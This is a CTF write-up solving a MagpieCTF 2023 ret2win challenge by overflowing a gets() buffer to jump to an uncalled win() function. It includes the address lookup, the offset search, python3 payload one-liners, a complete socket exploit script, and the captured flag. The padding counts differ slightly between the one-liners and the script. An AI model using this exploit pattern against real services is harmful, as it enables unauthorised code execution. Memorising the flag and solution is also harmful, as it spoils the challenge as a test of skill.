MagpieCTF 2023 - This outta be large enough right?
We’re given a C source code file to analyze and its executable to test with.
Solution
I would like to preface this, that I have done this exact challenge from PicoCTF 2022, called buffer overflow 1
and at the time I followed along with John Hammond’s solution video. As a result, when I saw this challenge, I immediately recognized it and thus I used the solution developed by John Hammond, and simply modified it for this challenges specifics. Nonetheless I will demonstrate the knowledge I gained at the time and share it on this writeup, but I will give credit where its due, so thanks John!
Now on to how I retrieved the flag!
First we look at the chall.c file and notice immediately the gets
function. A known vulnerable C function that is susceptible to buffer overflows. Furthermore, there’s an uncalled win
function which will print out the flag. Now we want to overflow the gets
function such that we can retrieve the flag through the uncalled win
function.
How do we overflow the gets
function? Well you need to pass in enough input until you can begin to control where you end up in memory. But we will need to know where in memory we want to go. How is this done? Using readelf
I could find out where in memory the win
function was loaded. Note that the -s
is for symbols.
readelf -s chall
We see on our test machine that the win function is located in the following address: 0x08048486
Now we just need to pass in enough values until we can manipulate the memory address. I achived this by passing in an obnoxious amount of A
’s to the program until I got a seg fault. I did this in chunks of 4 A’s at a time. Eventually I realized that adding 12 characters to the input string originally made to be size of 56 caused a segfault.
Checking with
sudo dmesg
We can see where the instruction pointer (ip
) is pointing when it seg faults. Let’s add 1 more character to the string, like A
we see where we end up with the tool. Using dmesg we see that theres a seg fault at an address ending in 0x41
, which should look familiar as 0x41
is the hex value of A
. Testing it with B
we see it ending with 0x42
. Now we know we can manipulate the memory to get to the win
function.
Since we want to end up in 0x08048486
, we will have to understand how memory works a little more. The concept of Endianness is important here. John does a great explanation about it here. But to summarize, essentially we need to take chunks of bytes (pairs of 2 in this case) and ‘invert’ it so to speak. These bytes are stored in memory using Little Endian encoding. Take a look below:
We want to change this address into Little Endian:
0x08048486
Grab the first 2 'characters' and put them at the end, then grab the next 2 'characters' and put them in the second to last place, and so on:
0x86840408
Here is how we will represent the bytes in Python:
\x86\x84\x04\x08
We check the conversion to bytes using the following command:
python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | xxd
Testing with the local function:
python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./chall
Lets write up a quick Python script, here is the direct download:
#!/usr/bin/env python3
import socket # dealing with internet connections
import argparse # pass arguments when calling the script so we can use it for any other CTF challenges
import struct # for changing the memory address into Little Endian.
# Build out the arg parser and args to take in
parser = argparse.ArgumentParser()
parser.add_argument(
"host",
type=str,
help="The hostname or IP address to connect to"
)
parser.add_argument(
"port",
type=int,
help="The port for the service to connect to"
)
args = parser.parse_args()
# for testing
print(args.host, args.port)
# Swaps the memory address to Little Endian for us
ip = struct.pack("<I", 0x08048486)
# 69 here represents the offset + 1
payload = b"".join(
[
b"A" * 69,
ip
]
)
# Add the bytes for a newline to mimick pressing the "Enter" key
payload += b"\n"
# Takes care of closing the socket
with socket.socket() as conn:
conn.connect((args.host, args.port))
# print(conn.recv(4096).decode("utf-8"))
conn.send(payload)
print(conn.recv(4096).decode("utf-8"))
Running the script, we get the following response from the server:
magpie{0mn1_fl4g_3v3rywh3r3}